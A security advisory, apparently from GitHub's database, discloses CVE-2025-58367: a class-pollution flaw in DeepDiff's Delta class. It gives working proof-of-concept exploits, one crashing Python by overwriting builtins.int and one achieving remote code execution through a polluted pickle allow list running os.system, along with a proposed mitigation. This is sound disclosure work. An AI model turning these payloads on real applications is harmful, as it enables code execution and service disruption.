ghsa-mw26-5g2v-hqw3
Vulnerability from github
Published
2025-09-03 22:25
Modified
2025-09-10 20:49
Severity ?
10.0 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Summary
DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more
Details

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format: py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, )

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

```py

------------[ Setup ]------------

import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("repr", "GETATTR"), ("globals", "GETATTR"), ("builtins", "GET"), ("int", "GET"), ): "no longer a class" }, } )

assert isinstance(pollute_int, bytes)

------------[ Exploit ]------------

This could be some example, vulnerable, application.

The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

Existing dictionary; it is assumed that it contains

at least one entry, otherwise a different Delta needs to be

applied first, adding an entry to the dictionary.

mydict = {"tmp": "foobar"}

Before pollution

print(int("41") + 1)

Apply Delta to mydict

result = mydict + Delta(pollute_int)

print(int("1337")) ```

shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

```py

------------[ Setup ]------------

import os import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("repr", "GETATTR"), ("globals", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } )

From https://davidhamann.de/2020/04/05/exploiting-python-pickle/

class RCE: def reduce(self): cmd = "id > /tmp/pwned" return os.system, (cmd,)

Wrap object with dictionary so that Delta does not crash

rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes)

------------[ Exploit ]------------

This could be some example, vulnerable, application.

The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

Existing dictionary; it is assumed that it contains

at least one entry, otherwise a different Delta needs to be

applied first, adding an entry to the dictionary.

mydict = {"tmp": "foobar"}

Apply Delta to mydict

result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle) # no need to apply this Delta ```

shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties: py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Show details on source website

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.6.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "deepdiff"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "8.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58367"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T22:25:09Z",
    "nvd_published_at": "2025-09-05T22:15:34Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n\nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\nWhen it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr[\u0027foo\u0027]\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n\nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n\nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\nHowever, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: \u0027str\u0027 object is not callable\n```\n\n#### Remote Code Execution\n\nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n# ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root[\u0027tmp\u0027]\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\nclass RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n$ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n\n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\nand possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180",
  "id": "GHSA-mw26-5g2v-hqw3",
  "modified": "2025-09-10T20:49:38Z",
  "published": "2025-09-03T22:25:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58367"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/issues/180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seperman/deepdiff"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seperman/deepdiff/releases/tag/8.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.